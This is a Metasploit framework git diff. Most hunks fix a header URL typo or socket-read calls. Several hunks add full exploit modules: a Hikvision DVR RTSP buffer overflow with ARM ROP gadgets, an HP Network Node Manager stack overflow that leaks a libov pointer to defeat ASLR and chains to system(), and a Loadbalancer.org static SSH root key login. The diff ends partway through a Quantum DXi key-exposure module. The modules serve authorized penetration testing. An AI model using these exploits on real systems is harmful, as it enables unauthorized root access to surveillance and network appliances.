b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb index 667e6ae0eb..bc04a2f684 100644 --- a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb +++ b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index 8f70d51748..f1e7fa938d 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/gld_postfix.rb b/modules/exploits/linux/misc/gld_postfix.rb index 7244bfefe7..d0fe8ca222 100644 --- a/modules/exploits/linux/misc/gld_postfix.rb +++ b/modules/exploits/linux/misc/gld_postfix.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/hikvision_rtsp_bof.rb b/modules/exploits/linux/misc/hikvision_rtsp_bof.rb new file mode 100644 index 0000000000..5ff60004ac --- /dev/null +++ b/modules/exploits/linux/misc/hikvision_rtsp_bof.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = NormalRanking + + include Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Hikvision DVR RTSP Request Remote Code Execution', + 'Description' => %q{ + This module exploits a buffer overflow in the RTSP request parsing + code of Hikvision DVR appliances. The Hikvision DVR devices record + video feeds of surveillance cameras and offer remote administration + and playback of recorded footage. + + The vulnerability is present in several models / firmware versions + but due to the available test device this module only supports + the DS-7204 model. + }, + 'Author' => + [ + 'Mark Schloesser ', # @repmovsb, vulnerability analysis & exploit dev + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-4880' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/11/19/r7-2014-18-hikvision-dvr-devices--multiple-vulnerabilities' ] + ], + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'Privileged' => true, + 'Targets' => + [ + # + # ROP targets are difficult to represent in the hash, use callbacks instead + # + [ "DS-7204 Firmware V2.2.10 build 131009", { + + # The callback handles all target-specific settings + :callback => :target_ds7204_1, + 'g_adjustesp' => 0x002c828c, + # ADD SP, SP, #0x350 + # LDMFD SP!, {R4-R6,PC} + + 'g_r3fromsp' => 0x00446f80, + # ADD R3, SP, #0x60+var_58 + # BLX R6 + + 'g_blxr3_pop' => 0x00456360, + # BLX R3 + # LDMFD SP!, {R1-R7,PC} + + 'g_popr3' => 0x0000fe98, + # LDMFD SP!, {R3,PC} + } ], + + [ "Debug Target", { + + # The callback handles all target-specific settings + :callback => :target_debug + + } ] + + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 19 2014')) + + register_options( + [ + Opt::RPORT(554) + ], self.class) + end + + def exploit + unless self.respond_to?(target[:callback], true) + fail_with(Failure::NoTarget, "Invalid target specified: no callback function defined") + end + + device_rop = self.send(target[:callback]) + + request = "PLAY rtsp://#{rhost}/ RTSP/1.0\r\n" + request << "CSeq: 7\r\n" + request << "Authorization: Basic " + request << rand_text_alpha(0x280 + 34) + request << [target["g_adjustesp"]].pack("V")[0..2] + request << "\r\n\r\n" + request << rand_text_alpha(19) + + # now append the ropchain + request << device_rop + request << rand_text_alpha(8) + request << payload.encoded + + connect + sock.put(request) + disconnect + end + + # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc + def target_ds7204_1 + # Create a fixed-size buffer for the rop chain + ropbuf = rand_text_alpha(24) + + # CHAIN = [ + # 0, #R4 pop adjustsp + # 0, #R5 pop adjustsp + # GADGET_BLXR3_POP, #R6 pop adjustsp + # GADGET_POPR3, + # 0, #R3 pop + # GADGET_R3FROMSP, + # ] + + ropbuf[8,4] = [target["g_blxr3_pop"]].pack("V") + ropbuf[12,4] = [target["g_popr3"]].pack("V") + ropbuf[20,4] = [target["g_r3fromsp"]].pack("V") + + return ropbuf + end + + # Generate a buffer that provides a starting point for exploit development + def target_debug + Rex::Text.pattern_create(2000) + end + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + +end diff --git a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb index 5302d5b0a3..167e6fda78 100644 --- a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb +++ b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote # Read command output from socket if cmd/unix/generic payload was used if (datastore['CMD']) - res = sock.get + res = sock.get_once(-1, 10) print_status(res.to_s) if not res.empty? end diff --git a/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb b/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb new file mode 100644 index 0000000000..c48287ca88 --- /dev/null +++ b/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb @@ -0,0 +1,227 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Network Node Manager I PMD Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The + vulnerability exists in the pmd service, due to the insecure usage of functions like + strcpy and strcat while handling stack_option packets with user controlled data. In + order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from + the stack and finally build the ROP chain to avoid NX. + }, + 'Author' => + [ + 'd(-_-)b', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-2624'], + ['ZDI', '14-305'] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'Space' => 3000, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic python perl openssl bash-tcp gawk' + } + }, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Targets' => + [ + ['Automatic', {}], + ['HP NNMi 9.10 / CentOS 5', + { + # ptr to .rodata with format specifier + #.rodata:0003BE86 aS_1 db '%s',0 + 'ov_offset' => 0x3BE86, + :rop => :rop_hp_nnmi_9_10 + } + ], + ['HP NNMi 9.20 / CentOS 6', + { + # ptr to .rodata with format specifier + #.rodata:0003C2D6 aS_1 db '%s',0 + 'ov_offset' => 0x3c2d8, + :rop => :rop_hp_nnmi_9_20 + } + ] + ], + 'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20 + 'DisclosureDate' => 'Sep 09 2014', + 'DefaultTarget' => 0 + )) + + register_options([ Opt::RPORT(7426) ], self.class) + end + + def check + header = [ + 0x2a5, # pmdmgr_init pkt + 0x3cc, # signature + 0xa0c, # signature + 0xca8 # signature + ].pack("V") + + data = "\x00" * (0xfa4 - header.length) + + pkt = header + data + + connect_udp + udp_sock.put(pkt) + res = udp_sock.timed_read(8, 1) + if res.blank? + # To mitigate MacOSX udp sockets behavior + udp_sock.put(pkt) + res = udp_sock.timed_read(8) + end + disconnect_udp + + if res.blank? + return Exploit::CheckCode::Unknown + elsif res.length == 8 && res.unpack("V").first == 0x2a5 + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Unknown + end + end + + def exploit + connect_udp + # info leak with a "proto_tbl" packet + print_status("Sending a 'proto_tbl' request...") + udp_sock.put(proto_tbl_pkt) + + res = udp_sock.timed_read(13964, 1) + if res.blank? + # To mitigate MacOSX udp sockets behavior + udp_sock.put(proto_tbl_pkt) + res = udp_sock.timed_read(13964) + end + + if res.blank? + fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...") + end + + if target.name == 'Automatic' + print_status("Fingerprinting target...") + my_target = auto_target(res) + fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil? + else + my_target = target + fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res) + end + + print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...") + + # exploit with a "stack_option_pkt" packet + udp_sock.put(stack_option_pkt(my_target, @ov_base)) + + disconnect_udp + end + + def rop_hp_nnmi_9_10(ov_base) + rop = rand_text_alpha(775) + rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret + rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got + rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored: + # "PMD Stack option specified, but stack not available (user_controlled)" + rop << [0x808d7c2].pack("V") # pop ebp # ret + rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate) + rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence: + #.text:0001D692 lea eax, [ebp+dest] + #.text:0001D698 push eax ; command + #.text:0001D699 call _system + rop + end + + def rop_hp_nnmi_9_20(ov_base) + rop = rand_text_alpha(775) + rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret + rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence + #.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028) + #.text:0001DAEC push eax ; command + #.text:0001DAED call _system + rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored: + # "PMD Stack option specified, but stack not available (user_controlled)" + rop << rand_text_alpha(4) # ebp: padding + rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax) + rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret + rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret + rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base + rop << rand_text_alpha(4) # ebx: padding + rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate) + rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax) + rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got) + rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov) + rop << [0x80528BC].pack("V") # jmp eax + + rop + end + + def stack_option_pkt(t, ov_base) + hdr = [0x2a9].pack("V") # stack_option packet + data = "-SA" # stack name (invalid one 'A') + data << ";" # separator + data << self.send(t[:rop], ov_base) # malformed stack options + data << payload.encoded + data << ";\n" + data << "\x00" * (0xfa4 - data.length - hdr.length) + + hdr + data + end + + def proto_tbl_pkt + hdr = [0x2aa].pack("V") # proto_tbl packet + data = "\x00" * (0xfa4 - hdr.length) + + hdr + data + end + + def base(address, offset) + address - offset + end + + def find_ov_base(t, data) + print_status("Searching #{t.name} pointers...") + i = 0 + data.unpack("V*").each do |int| + if base(int, t['ov_offset']) % 0x1000 == 0 + print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}") + @ov_base = base(int, t['ov_offset']) + return true + end + i = i + 1 + end + + false + end + + def auto_target(data) + targets.each do |t| + next if t.name == 'Automatic' + if find_ov_base(t, data) + return t + end + end + + nil + end + +end diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index 64ac53e265..ff70cf386d 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/hplip_hpssd_exec.rb b/modules/exploits/linux/misc/hplip_hpssd_exec.rb index f238723076..35658aaeda 100644 --- a/modules/exploits/linux/misc/hplip_hpssd_exec.rb +++ b/modules/exploits/linux/misc/hplip_hpssd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_inet_connect.rb b/modules/exploits/linux/misc/ib_inet_connect.rb index 778aafe12d..b03053e9be 100644 --- a/modules/exploits/linux/misc/ib_inet_connect.rb +++ b/modules/exploits/linux/misc/ib_inet_connect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_jrd8_create_database.rb b/modules/exploits/linux/misc/ib_jrd8_create_database.rb index c745a0145d..f29e9e831b 100644 --- a/modules/exploits/linux/misc/ib_jrd8_create_database.rb +++ b/modules/exploits/linux/misc/ib_jrd8_create_database.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_open_marker_file.rb b/modules/exploits/linux/misc/ib_open_marker_file.rb index 53d54df986..745eebb2f2 100644 --- a/modules/exploits/linux/misc/ib_open_marker_file.rb +++ b/modules/exploits/linux/misc/ib_open_marker_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb index d4cda50c05..0c38798c19 100644 --- a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb +++ b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/lprng_format_string.rb b/modules/exploits/linux/misc/lprng_format_string.rb index b2912b44ec..ea1f0cd5df 100644 --- a/modules/exploits/linux/misc/lprng_format_string.rb +++ b/modules/exploits/linux/misc/lprng_format_string.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/mongod_native_helper.rb b/modules/exploits/linux/misc/mongod_native_helper.rb index 05c22f6a2c..ff457795de 100644 --- a/modules/exploits/linux/misc/mongod_native_helper.rb +++ b/modules/exploits/linux/misc/mongod_native_helper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb index 814fded403..4543c65bd3 100644 --- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb +++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # diff --git a/modules/exploits/linux/misc/netsupport_manager_agent.rb b/modules/exploits/linux/misc/netsupport_manager_agent.rb index b8289ab8a6..1ab5730b3b 100644 --- a/modules/exploits/linux/misc/netsupport_manager_agent.rb +++ b/modules/exploits/linux/misc/netsupport_manager_agent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb index c607eb6348..479740e771 100644 --- a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote def check connect sock.put(connection_request) - res = sock.get + res = sock.get_once(-1, 10) disconnect if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 # res[8,2] => Reply Type @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending Service Connection Request...") sock.put(connection_request) - res = sock.get + res = sock.get_once(-1, 10) if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 # res[8,2] => Reply Type # res[15,1] => Connection Status @@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending Overflow on Keyed Object Login...") sock.put(pkt) - sock.get + sock.get_once(-1, 10) disconnect end diff --git a/modules/exploits/linux/misc/sercomm_exec.rb b/modules/exploits/linux/misc/sercomm_exec.rb index 8625e5baff..55dee6c759 100644 --- a/modules/exploits/linux/misc/sercomm_exec.rb +++ b/modules/exploits/linux/misc/sercomm_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, @@ -133,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]), OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]), ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -168,7 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote execute_cmdstager( :noargs => @no_args, :temp => @upload_path, - :enc_format => @encoding_format + :enc_format => @encoding_format, + :flavor => :echo ) end diff --git a/modules/exploits/linux/misc/zabbix_server_exec.rb b/modules/exploits/linux/misc/zabbix_server_exec.rb index 95cc260886..7ee164b10b 100644 --- a/modules/exploits/linux/misc/zabbix_server_exec.rb +++ b/modules/exploits/linux/misc/zabbix_server_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/mysql/mysql_yassl_getname.rb b/modules/exploits/linux/mysql/mysql_yassl_getname.rb index 2e10c98e9f..0d680f20df 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_getname.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_getname.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/mysql/mysql_yassl_hello.rb b/modules/exploits/linux/mysql/mysql_yassl_hello.rb index 62ae921b52..bd086efcc5 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_hello.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_hello.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb index a57924d170..e4a4c225b8 100644 --- a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb +++ b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -63,8 +63,9 @@ class Metasploit3 < Msf::Exploit::Remote def exploit connect + banner = sock.get_once.to_s.strip - print_status "Banner: #{banner = sock.gets}" + print_status "Banner: #{banner}" # NOTE: orig poc shellcode len: 84 diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb index 5d4dfab9da..0194930466 100644 --- a/modules/exploits/linux/postgres/postgres_payload.rb +++ b/modules/exploits/linux/postgres/postgres_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/pptp/poptop_negative_read.rb b/modules/exploits/linux/pptp/poptop_negative_read.rb index b3fdac4df4..59fc651054 100644 --- a/modules/exploits/linux/pptp/poptop_negative_read.rb +++ b/modules/exploits/linux/pptp/poptop_negative_read.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb index 09e78ef2f1..bf98f0278a 100644 --- a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb +++ b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/samba/chain_reply.rb b/modules/exploits/linux/samba/chain_reply.rb index ebc5bfa949..71e465507d 100644 --- a/modules/exploits/linux/samba/chain_reply.rb +++ b/modules/exploits/linux/samba/chain_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb index f84eaab37b..1570d36da6 100644 --- a/modules/exploits/linux/samba/lsa_transnames_heap.rb +++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb index 66c7d88f19..9bfc40dfab 100644 --- a/modules/exploits/linux/samba/setinfopolicy_heap.rb +++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/samba/trans2open.rb b/modules/exploits/linux/samba/trans2open.rb index 67677f6c21..38588f92b4 100644 --- a/modules/exploits/linux/samba/trans2open.rb +++ b/modules/exploits/linux/samba/trans2open.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb index 3e65911f6e..2823d626f0 100644 --- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -209,7 +209,7 @@ class Metasploit3 < Msf::Exploit::Remote # wait for payload download if (datastore['DOWNHOST']) - print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload") + print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the target to download the payload") select(nil, nil, nil, datastore['HTTP_DELAY']) else wait_linux_payload diff --git a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb index 6169dd0fbc..7a460a0ac6 100644 --- a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb +++ b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh_socket = Net::SSH.start(rhost, user, opt_hash) end - rescue Rex::ConnectionError, Rex::AddressInUse + rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" diff --git a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb new file mode 100644 index 0000000000..711684f430 --- /dev/null +++ b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, { + 'Name' => 'Loadbalancer.org Enterprise VA SSH Private Key Exposure', + 'Description' => %q{ + Loadbalancer.org ships a public/private key pair on Enterprise virtual appliances + version 7.5.2 that allows passwordless authentication to any other LB Enterprise box. + Since the key is easily retrievable, an attacker can use it to gain unauthorized remote + access as root. + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [ [ "Universal", {} ] ], + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'Author' => 'xistence ', # Discovery, Metasploit module + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://packetstormsecurity.com/files/125754/Loadbalancer.org-Enterprise-VA-7.5.2-Static-SSH-Key.html'] + ], + 'DisclosureDate' => "Mar 17 2014", + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'DefaultTarget' => 0 + })) + + register_options( + [ + # Since we don't include Tcp, we have to register this manually + Opt::RHOST(), + Opt::RPORT(22) + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + + end + + # helper methods that normally come from Tcp + def rhost + datastore['RHOST'] + end + def rport + datastore['RPORT'] + end + + def do_login(user) + opt_hash = { + :auth_methods => ['publickey'], + :msframework => framework, + :msfmodule => self, + :port => rport, + :key_data => [ key_data ], + :disable_agent => true, + :config => false, + :record_auth_info => true, + :proxies => datastore['Proxies'] + } + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + begin + ssh_socket = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh_socket = Net::SSH.start(rhost, user, opt_hash) + end + rescue Rex::ConnectionError + return nil + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return nil + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return nil + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication" + return nil + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return nil + end + + if ssh_socket + + # Create a new session from the socket, then dump it. + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash', true) + ssh_socket = nil + + return conn + else + return nil + end + end + + def exploit + conn = do_login("root") + if conn + print_good "#{rhost}:#{rport} - Successful login" + handler(conn.lsock) + end + end + + def key_data + < 'Quantum DXi V1000 SSH Private Key Exposure', + 'Description' => %q{ + Quantum ships a public/private key pair on DXi V1000 2.2.1 appliances that + allows passwordless authentication to any other DXi box. Since the key is + easily retrievable, an attacker can use it to gain unauthorized remote + access as root. + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [ [ "Universal", {} ] ], + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'Author' => 'xistence ', # Discovery, Metasploit module + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://packetstormsecurity.com/files/125755/quantum-root.txt'] + ], + 'DisclosureDate' => "Mar 17 2014", + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' 